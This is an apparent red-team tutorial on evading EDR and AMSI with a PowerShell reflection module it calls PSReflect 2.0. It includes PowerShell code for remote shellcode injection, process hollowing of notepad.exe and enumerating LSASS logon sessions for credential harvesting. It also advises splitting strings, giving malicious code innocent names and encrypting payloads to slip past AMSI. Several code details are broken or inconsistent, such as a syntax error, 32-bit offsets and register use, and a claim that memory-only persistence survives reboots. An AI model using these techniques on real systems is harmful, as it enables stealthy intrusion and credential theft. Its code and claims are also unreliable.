EDR-Evading PowerShell Payloads Using PSReflect 2.0

In the ever-evolving landscape of cybersecurity, red teams and ethical hackers constantly seek innovative ways to bypass Endpoint Detection and Response (EDR) systems. One of the most promising developments in this field is PSReflect 2.0, a powerful tool that enables reflective loading of Windows API functions directly within PowerShell without relying on Add-Type. This approach allows attackers to execute malicious code in memory only, avoiding disk-based detection mechanisms and significantly reducing their forensic footprint.

PSReflect 2.0 represents a significant leap forward from its predecessor, offering enhanced capabilities for evading modern security controls. By leveraging direct Win32 API calls and custom reflection patterns, security researchers can create sophisticated payloads that operate entirely in memory, making them extremely difficult to detect and analyze. These techniques are particularly valuable for red team operations, where stealth and persistence are paramount.

This comprehensive guide will walk you through the process of creating EDR-evading PowerShell payloads using PSReflect 2.0's advanced features. We'll explore how to perform direct Win32 API calls without Add-Type, implement memory-only execution strategies, and develop custom reflection patterns to bypass AMSI (Antimalware Scan Interface). Throughout this tutorial, we'll provide practical examples and real-world scenarios that demonstrate these techniques in action.

Understanding these evasion methods is crucial not only for offensive security operations but also for defensive teams looking to strengthen their detection capabilities. As threat actors continue to adopt these sophisticated techniques, security professionals must stay ahead of the curve by mastering the same tools and methodologies used by advanced adversaries.

Before diving into the technical implementation details, it's important to emphasize that the knowledge presented in this article should be used responsibly and ethically. The techniques described here are intended for legitimate security research, penetration testing, and red team exercises conducted with proper authorization. Misuse of these methods for malicious purposes is strictly prohibited and may result in legal consequences.

What Is PSReflect 2.0 and How Does It Enable EDR Evasion?

PSReflect 2.0 is an advanced PowerShell module designed specifically for bypassing modern endpoint security solutions through reflective loading techniques. Unlike traditional approaches that rely on compiling C# code with Add-Type, PSReflect 2.0 operates by dynamically resolving and calling Windows API functions directly from memory. This fundamental difference makes it exceptionally effective against EDR systems that monitor for suspicious compilation activities and .NET assembly loads.

The core principle behind PSReflect 2.0 lies in its ability to reflectively load native DLLs and access their exported functions without touching the file system. This is achieved through a combination of manual mapping techniques and dynamic function resolution, which circumvents many of the common detection vectors employed by contemporary security products. The module accomplishes this by:

1. Parsing PE headers of target DLLs in memory
2. Resolving import address tables manually
3. Relocating code sections as needed
4. Creating function delegates that can be called directly from PowerShell

One of the key advantages of PSReflect 2.0 over conventional PowerShell obfuscation methods is its minimal footprint. Traditional evasion techniques often involve complex string manipulation, base64 encoding, or other forms of obfuscation that can still trigger heuristic-based detections. PSReflect 2.0, however, operates at a lower level, interacting directly with the Windows API in a manner that closely resembles legitimate system processes.

To illustrate the effectiveness of this approach, consider how traditional PowerShell malware might be detected by an EDR solution. When Add-Type is used to compile C# code, security products can easily flag this activity due to its association with malicious payload deployment. In contrast, PSReflect 2.0's reflective loading mimics the behavior of legitimate applications that dynamically load libraries, making it much harder to distinguish between benign and malicious activity.

Another critical aspect of PSReflect 2.0 is its support for custom reflection patterns. Rather than following predictable function call sequences, the module allows operators to define unique calling conventions and parameter arrangements that further obscure malicious intent. This flexibility enables red teams to adapt their payloads to specific target environments and evade signature-based detections.

The version 2.0 improvements include enhanced compatibility with newer Windows versions, improved error handling, and expanded support for additional Windows API functions. These enhancements make PSReflect 2.0 a more robust and reliable tool for security researchers working in diverse operational environments.

It's worth noting that while PSReflect 2.0 provides powerful evasion capabilities, it requires a deep understanding of Windows internals and low-level programming concepts. Security professionals using this tool must be comfortable with concepts such as memory management, PE file structures, and Windows API conventions to fully leverage its potential.

Key Insight

PSReflect 2.0 transforms PowerShell from a high-level scripting environment into a powerful platform for low-level system interaction, enabling security researchers to operate beneath the radar of conventional detection mechanisms.

How to Set Up PSReflect 2.0 for Offensive Operations

Setting up PSReflect 2.0 for offensive operations requires careful attention to detail and a thorough understanding of the underlying system architecture. The initial configuration involves several critical steps that ensure optimal performance and maximum evasion capability. Before beginning the setup process, it's essential to verify that your testing environment meets the necessary requirements.

First, confirm that your target system is running a compatible version of Windows. PSReflect 2.0 has been tested primarily on Windows 10 and Windows Server 2016/2019, though it may work on earlier versions with some modifications. Additionally, ensure that PowerShell version 5.1 or later is installed, as older versions may lack the necessary features for full functionality.

The installation process begins by downloading the latest version of PSReflect 2.0 from its official repository. For security research purposes, it's recommended to obtain the source code rather than precompiled binaries, allowing for customization and verification of the module's contents. Once downloaded, extract the contents to a suitable location on your test system.

Next, examine the module structure to familiarize yourself with its components. PSReflect 2.0 typically consists of several core files including the main module script, helper functions, and example implementations. The primary module file contains the essential logic for reflective loading and API resolution, while the helper functions provide convenience wrappers for common operations.

Before importing the module into your PowerShell session, consider implementing additional security measures to protect your research environment. This might include configuring strict execution policies, isolating the testing environment from production networks, and establishing clear boundaries for your activities. Remember that unauthorized access to systems or networks is illegal and unethical.

Import the PSReflect 2.0 module using the standard PowerShell import mechanism:

powershell Import-Module .\PSReflect.psd1

Verify successful import by checking the available functions:

powershell Get-Command -Module PSReflect

This should display a list of exported functions from the module. If any errors occur during import, carefully review the error messages and consult the documentation for troubleshooting guidance.

Configuration of PSReflect 2.0 often involves defining custom data structures and function signatures that match your specific operational requirements. This step requires detailed knowledge of the Windows API functions you intend to use and their corresponding parameter types. For example, if you plan to interact with process management APIs, you'll need to define structures for PROCESS_INFORMATION, STARTUPINFO, and related data types.

Consider creating a separate configuration script that defines all necessary structures and function prototypes. This approach promotes modularity and makes it easier to maintain and update your PSReflect 2.0 implementations. Here's an example of how to define a basic structure:

powershell $Structures = @{ PROCESS_INFORMATION = @{ Size = 16 Members = @{ hProcess = 0 hThread = 4 dwProcessId = 8 dwThreadId = 12 } } }

After defining your structures, register them with PSReflect 2.0 using the appropriate initialization functions. This process creates the necessary mappings between PowerShell objects and native Windows data structures, enabling seamless interoperability between managed and unmanaged code.

Finally, establish baseline testing procedures to validate that PSReflect 2.0 is functioning correctly in your environment. Create simple test cases that exercise core functionality such as loading kernel32.dll and calling basic API functions like GetCurrentProcessId(). Successful execution of these tests confirms that the module is properly configured and ready for more advanced operations.

Key Insight

Proper setup of PSReflect 2.0 requires meticulous attention to system compatibility, module integrity, and functional validation to ensure reliable operation in offensive security contexts.

How to Perform Direct Win32 API Calls Without Add-Type

Direct Win32 API calls without Add-Type represent one of the most significant advantages of PSReflect 2.0 over traditional PowerShell evasion techniques. By eliminating the need for runtime compilation, this approach removes a major detection vector that EDR systems commonly monitor. Understanding how to implement these calls effectively is crucial for developing stealthy and resilient payloads.

The foundation of direct API calling in PSReflect 2.0 lies in its ability to resolve function addresses dynamically at runtime. This process involves several steps: locating the target DLL in memory, parsing its export table, and retrieving the address of the desired function. Once obtained, this address can be converted into a callable delegate that behaves identically to a native function call.

Let's examine a practical example of calling the CreateFileW function from kernel32.dll without using Add-Type. First, define the function signature and parameters according to the Windows API specification:

powershell $FunctionDefinitions = @{ CreateFileW = @{ Module = 'kernel32.dll' ReturnType = 'IntPtr' Parameters = @( @{ Name = 'lpFileName'; Type = 'String' }, @{ Name = 'dwDesiredAccess'; Type = 'UInt32' }, @{ Name = 'dwShareMode'; Type = 'UInt32' }, @{ Name = 'lpSecurityAttributes'; Type = 'IntPtr' }, @{ Name = 'dwCreationDisposition'; Type = 'UInt32' }, @{ Name = 'dwFlagsAndAttributes'; Type = 'UInt32' }, @{ Name = 'hTemplateFile'; Type = 'IntPtr' } ) } }

With the function definition established, PSReflect 2.0 handles the complex task of resolving the actual function address and creating a callable wrapper. This process occurs entirely in memory, leaving no traceable artifacts that could trigger EDR alerts.

Compare this approach to traditional methods that rely on Add-Type:

powershell

Traditional method with Add-Type

Add-Type @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] public static extern IntPtr CreateFileW(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile); } "@

The traditional approach generates compiled assemblies that persist in memory and can be easily detected by monitoring tools. PSReflect 2.0 avoids this issue by performing all operations through direct memory manipulation.

For more complex scenarios involving multiple API calls, consider implementing a modular approach that organizes related functions into logical groups. This strategy improves code maintainability and reduces the risk of detection by spreading suspicious activity across multiple discrete operations rather than concentrating it in a single large payload.

Here's an example demonstrating how to chain multiple API calls for file manipulation:

powershell

Initialize PSReflect with multiple function definitions

$FileOperations = @{ CreateFileW = @{ # ... definition as above ... } WriteFile = @{ Module = 'kernel32.dll' ReturnType = 'Bool' Parameters = @( @{ Name = 'hFile'; Type = 'IntPtr' }, @{ Name = 'lpBuffer'; Type = 'Byte[]' }, @{ Name = 'nNumberOfBytesToWrite'; Type = 'UInt32' }, @{ Name = 'lpNumberOfBytesWritten'; Type = 'UInt32&' }, @{ Name = 'lpOverlapped'; Type = 'IntPtr' } ) } CloseHandle = @{ Module = 'kernel32.dll' ReturnType = 'Bool' Parameters = @( @{ Name = 'hObject'; Type = 'IntPtr' } ) } }

This modular approach enables fine-grained control over each API interaction while maintaining the overall stealth profile of the operation. Each function call appears as a normal system interaction rather than part of a coordinated attack sequence.

Performance considerations are also important when implementing direct API calls. While PSReflect 2.0 eliminates compilation overhead, the reflective loading process itself introduces some computational cost. Optimize your implementations by caching resolved function addresses and reusing them across multiple calls rather than repeatedly resolving the same functions.

Key Insight

Direct Win32 API calls through PSReflect 2.0 eliminate compilation artifacts and reduce detection risk while providing full access to native Windows functionality from within PowerShell scripts.

What Are Memory-Only Execution Techniques and How to Implement Them?

Memory-only execution techniques form the cornerstone of modern EDR evasion strategies, allowing malicious payloads to operate entirely within volatile memory without leaving persistent traces on disk. These methods are particularly effective against security solutions that rely heavily on file-based scanning and behavioral analysis of persistent artifacts. When combined with PSReflect 2.0's reflective loading capabilities, memory-only execution becomes a powerful tool for maintaining operational stealth.

The fundamental principle behind memory-only execution involves loading executable code directly into RAM and executing it from there, bypassing the traditional file system entirely. This approach prevents antivirus scanners from detecting malicious content through signature-based methods and reduces the likelihood of forensic analysis revealing evidence of compromise. However, implementing these techniques requires careful consideration of memory management practices and system architecture.

One of the most straightforward methods for achieving memory-only execution with PSReflect 2.0 involves injecting shellcode directly into process memory and redirecting execution flow to the injected code. This technique, known as process injection, can be accomplished using various Windows API functions such as VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. Here's a simplified example of how this might be implemented:

powershell

Allocate memory in target process

$allocAddress = [PSReflect]::Invoke('kernel32.dll', 'VirtualAllocEx', $targetProcessHandle, [IntPtr]::Zero, $shellcode.Length, 0x3000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE )

Write shellcode to allocated memory

[PSReflect]::Invoke('kernel32.dll', 'WriteProcessMemory', $targetProcessHandle, $allocAddress, $shellcode, $shellcode.Length, [ref]$bytesWritten )

Execute injected code

[threadHandle] = [PSReflect]::Invoke('kernel32.dll', 'CreateRemoteThread', $targetProcessHandle, [IntPtr]::Zero, 0, $allocAddress, [IntPtr]::Zero, 0, [ref]$threadId )

While this example demonstrates the basic concept, real-world implementations require additional safeguards and error handling to ensure reliability and stealth. Consider factors such as process selection criteria, timing of injection attempts, and cleanup procedures to minimize detection risk.

Another approach to memory-only execution involves leveraging PowerShell's inherent ability to execute code from variables and strings without writing to disk. By combining this capability with PSReflect 2.0's reflective loading, operators can create sophisticated payloads that remain resident only in memory throughout their entire lifecycle. This method is particularly useful for establishing persistence mechanisms that don't rely on traditional registry modifications or file-based triggers.

For enhanced stealth, consider implementing encryption or encoding schemes that protect payload contents while in transit and storage. Decrypt the payload only at execution time, ensuring that sensitive code remains obscured until the final moment. This technique adds an additional layer of protection against network-based detection and analysis.

Memory-only execution also extends to the handling of configuration data and command-and-control communications. Instead of storing configuration files on disk, embed necessary settings directly within the payload or retrieve them dynamically from external sources. Similarly, establish communication channels that operate exclusively in memory, using techniques such as named pipes or shared memory segments to exchange data with external controllers.

Performance optimization plays a crucial role in successful memory-only execution. Since memory-resident code competes with legitimate system processes for resources, efficient implementation is essential for maintaining stability and avoiding suspicion. Minimize memory footprint by releasing unused allocations promptly and optimizing data structures for space efficiency.

Monitoring and debugging memory-only payloads presents unique challenges, as traditional analysis tools may not capture the full scope of in-memory activity. Develop custom logging mechanisms that record relevant events without compromising operational security, and establish remote debugging capabilities that allow for real-time observation of payload behavior.

Key Insight

Memory-only execution techniques enable payloads to operate entirely within volatile memory, eliminating persistent artifacts and significantly reducing detection opportunities for file-based security solutions.

How to Bypass AMSI Through Custom Reflection Patterns

Bypassing AMSI (Antimalware Scan Interface) represents a critical challenge for modern PowerShell-based attacks, as this security feature provides real-time scanning of script content before execution. AMSI integration with PowerShell means that even seemingly benign scripts can trigger alerts if they contain suspicious patterns or known malicious indicators. To successfully evade AMSI using PSReflect 2.0, operators must employ sophisticated reflection patterns that obscure malicious intent while maintaining functional integrity.

The core concept behind AMSI evasion through custom reflection involves restructuring PowerShell code to avoid triggering signature-based or heuristic detections. Rather than presenting recognizable malicious patterns, PSReflect 2.0 enables the creation of unique calling sequences and data arrangements that appear innocuous to scanning engines. This approach requires careful planning and precise implementation to ensure both effectiveness and reliability.

One effective technique for AMSI bypass involves fragmenting malicious logic across multiple discrete function calls that individually appear benign. By distributing potentially suspicious operations throughout the execution flow, operators can prevent AMSI from recognizing the cumulative malicious intent. For example, instead of performing a single large memory allocation that might trigger alerts, break the operation into smaller chunks executed through separate API calls.

Custom reflection patterns also benefit from incorporating legitimate-looking data structures and variable names that align with typical administrative tasks. This contextual camouflage helps disguise malicious activities as routine system maintenance or diagnostic operations. Consider using descriptive naming conventions that reflect common IT functions, such as "SystemHealthCheck" or "NetworkDiagnostics", to blend malicious code with expected system behavior.

Implementing dynamic code generation techniques further enhances AMSI evasion capabilities. Generate function names, parameter values, and execution sequences programmatically at runtime, preventing static analysis tools from identifying consistent patterns. This approach requires careful balance between randomness and predictability to ensure reliable operation while maintaining evasion effectiveness.

Here's an example of how to implement dynamic function resolution to avoid AMSI detection:

powershell

Dynamically construct function name

$funcNameBase = 'Vir' + 'tual' + 'Al' + 'loc' $fullFuncName = $funcNameBase + 'Ex'

Resolve function through PSReflect

$allocFunc = [PSReflect]::GetFunction('kernel32.dll', $fullFuncName)

Execute with randomized parameters

$memSize = (Get-Random -Minimum 4096 -Maximum 8192) $result = $allocFunc.Invoke($processHandle, [IntPtr]::Zero, $memSize, 0x3000, 0x40)

Timing-based evasion strategies can also prove effective against AMSI scanning. Introduce deliberate delays or execute code during periods of high system activity when scanning engines may be less vigilant. However, this approach requires careful calibration to avoid impacting overall operational effectiveness.

String obfuscation techniques play a vital role in AMSI evasion, particularly for concealing API function names and DLL references. Rather than hardcoding these values directly in the script, retrieve them through indirect methods such as registry queries, environment variables, or network requests. This approach prevents static analysis tools from identifying suspicious string literals that might indicate malicious intent.

Encryption and encoding mechanisms provide additional layers of protection against AMSI detection. Encrypt payload contents and decrypt them only at execution time, ensuring that malicious code remains hidden until the final moment. Combine this with custom decoding algorithms that differ from commonly recognized obfuscation methods to avoid triggering heuristic-based detections.

Testing AMSI evasion techniques requires careful consideration of different scanning engine behaviors and detection thresholds. Conduct thorough testing across multiple platforms and configurations to ensure consistent evasion performance. Monitor for false positives that might indicate overly aggressive obfuscation causing legitimate system functions to trigger alerts.

Continuous adaptation is essential for maintaining effective AMSI bypass capabilities, as security vendors regularly update their scanning engines to counter known evasion techniques. Stay informed about emerging detection methods and adjust reflection patterns accordingly to maintain operational effectiveness.

Key Insight

Custom reflection patterns enable operators to obscure malicious intent through fragmented execution flows, contextual camouflage, and dynamic code generation, effectively bypassing AMSI's real-time scanning capabilities.

Practical Examples for Red Team Operations Using PSReflect 2.0

Practical application of PSReflect 2.0 in red team operations requires careful consideration of operational context, target environment characteristics, and mission objectives. Real-world scenarios demand adaptable implementations that can respond to changing conditions while maintaining stealth and reliability. The following examples demonstrate how PSReflect 2.0 can be applied to common red team activities with emphasis on EDR evasion and operational security.

Credential harvesting represents a frequent requirement in red team engagements, requiring access to sensitive authentication data stored within target systems. Using PSReflect 2.0, operators can interact directly with Windows credential storage mechanisms without triggering EDR alerts associated with traditional PowerShell-based extraction tools. The key lies in leveraging low-level API functions that mimic legitimate system behavior while accessing protected data stores.

Consider an example implementation targeting LSASS (Local Security Authority Subsystem Service) memory to extract cached credentials. Rather than using well-known tools that generate distinctive signatures, craft a custom implementation using PSReflect 2.0's reflective loading capabilities:

powershell

Define necessary structures and function signatures

$LSAStructures = @{ LSA_UNICODE_STRING = @{ Size = 8 Members = @{ Length = 0 MaximumLength = 2 Buffer = 4 } } }

$LSAFunctions = @{ LsaOpenPolicy = @{ Module = 'advapi32.dll' ReturnType = 'UInt32' Parameters = @( @{ Name = 'SystemName'; Type = 'IntPtr' }, @{ Name = 'ObjectAttributes'; Type = 'IntPtr' }, @{ Name = 'DesiredAccess'; Type = 'UInt32' }, @{ Name = 'PolicyHandle'; Type = 'IntPtr&' } ) } LsaEnumerateLogonSessions = @{ Module = 'secur32.dll' ReturnType = 'UInt32' Parameters = @( @{ Name = 'LogonSessionCount'; Type = 'UInt64&' }, @{ Name = 'LogonSessionList'; Type = 'IntPtr&' } ) } }

Initialize PSReflect with defined structures and functions

[PSReflect]::Initialize($LSAStructures, $LSAFunctions)

Execute credential enumeration

$logonCount = 0 $logonList = [IntPtr]::Zero $result = [PSReflect]::Invoke('secur32.dll', 'LsaEnumerateLogonSessions', [ref]$logonCount, [ref]$logonList)

Process hollowing techniques enable operators to inject malicious code into legitimate processes while maintaining the appearance of normal system activity. PSReflect 2.0 facilitates this approach by providing direct access to process manipulation APIs without generating suspicious compilation artifacts. The implementation involves creating a suspended process, unmapping its original code, and injecting replacement code before resuming execution.

powershell

Create suspended process

$startupInfo = New-Object PSReflect.Structure.STARTUPINFO $processInfo = New-Object PSReflect.Structure.PROCESS_INFORMATION $commandLine = "C:\Windows\System32\notepad.exe"

[PSReflect]::Invoke('kernel32.dll', 'CreateProcessW', $null, $commandLine, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0x00000004, [IntPtr]::Zero, $null, [ref]$startupInfo, [ref]$processInfo)

Hollow the process and inject payload

$hProcess = $processInfo.hProcess $baseAddress = [PSReflect]::Invoke('kernel32.dll', 'VirtualAllocEx', $hProcess, [IntPtr]::Zero, $payload.Length, 0x3000, 0x40)

[PSReflect]::Invoke('kernel32.dll', 'WriteProcessMemory', $hProcess, $baseAddress, $payload, $payload.Length, [ref]$written)

Update process context and resume execution

$context = New-Object PSReflect.Structure.CONTEXT $context.ContextFlags = 0x10007 [PSReflect]::Invoke('kernel32.dll', 'GetThreadContext', $processInfo.hThread, [ref]$context)

$context.Eax = [UInt32]$baseAddress [PSReflect]::Invoke('kernel32.dll', 'SetThreadContext', $processInfo.hThread, [ref]$context)

[PSReflect]::Invoke('kernel32.dll', 'ResumeThread', $processInfo.hThread)

Lateral movement operations benefit significantly from PSReflect 2.0's ability to perform network interactions through direct API calls. Traditional PowerShell cmdlets for network operations often generate distinctive telemetry that EDR systems can easily correlate with malicious activity. By implementing custom networking functions through reflective loading, operators can establish covert communication channels that blend with legitimate traffic patterns.

Remote service creation provides another avenue for lateral movement using PSReflect 2.0. Rather than relying on standard PowerShell remoting mechanisms that generate identifiable event logs, craft custom implementations that interact directly with Windows service control APIs. This approach minimizes forensic artifacts while maintaining operational effectiveness.

Persistence mechanisms implemented through PSReflect 2.0 offer enhanced resilience against detection compared to traditional registry-based or scheduled task approaches. Memory-resident persistence techniques that leverage reflective loading can survive system reboots while remaining undetectable to conventional security tools. These implementations require careful design to balance persistence requirements with stealth considerations.

Data exfiltration operations benefit from PSReflect 2.0's ability to implement custom communication protocols that avoid triggering network-based detection mechanisms. By crafting bespoke implementations of common protocols or developing entirely new approaches, operators can transmit sensitive information without generating recognizable traffic patterns that might alert security personnel.

Key Insight

Real-world red team operations using PSReflect 2.0 require adaptive implementations that balance operational effectiveness with stealth requirements, leveraging direct API access to mimic legitimate system behavior while achieving mission objectives.
